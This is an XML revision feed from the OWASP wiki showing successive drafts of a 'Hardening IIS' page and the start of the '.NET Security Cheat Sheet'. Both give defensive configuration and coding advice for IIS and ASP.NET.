https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242621</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242621"/>
				<updated>2018-08-16T23:03:02Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Use an unique applicationPool per site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
IIS 10.0 has added wildcard host headers.  This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.&lt;br /&gt;
&lt;br /&gt;
In general, this is a bad idea and shouldn't be used.  There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.&lt;br /&gt;
&lt;br /&gt;
Certainly, do not use wildcard domains, like http://* for example.  But in general avoid using them at all.  Instead use site bindings to solve the same problem.&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features.  With today's applications, it is best if there is a unique application pool for each site.  Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure application pools for IIS. &lt;br /&gt;
&lt;br /&gt;
1)In IIS Manager, expand Sites in the Connections pane.  Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.&lt;br /&gt;
&lt;br /&gt;
2) Using the command prompt, run appcmd to set up new command pools.&lt;br /&gt;
&lt;br /&gt;
  appcmd.exe set config -section:system.applicationHost/applicationPools /+&amp;quot;[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']&amp;quot; /commit:apphost&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure MaxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242620</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242620"/>
				<updated>2018-08-16T22:45:11Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Wildcard domains&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
IIS 10.0 has added wildcard host headers.  This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.&lt;br /&gt;
&lt;br /&gt;
In general, this is a bad idea and shouldn't be used.  There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.&lt;br /&gt;
&lt;br /&gt;
Certainly, do not use wildcard domains, like http://* for example.  But in general avoid using them at all.  Instead use site bindings to solve the same problem.&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure MaxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242619</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242619"/>
				<updated>2018-08-16T22:11:38Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure MaxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242618</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242618"/>
				<updated>2018-08-16T22:10:59Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Directory Browsing&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
   &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure MaxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242617</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242617"/>
				<updated>2018-08-16T21:52:19Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Reformatted headers.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure MaxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=242265</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=242265"/>
				<updated>2018-08-03T21:56:48Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added Sam as a contributor.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [https://msdn.microsoft.com/library/h0hfz6fc.aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
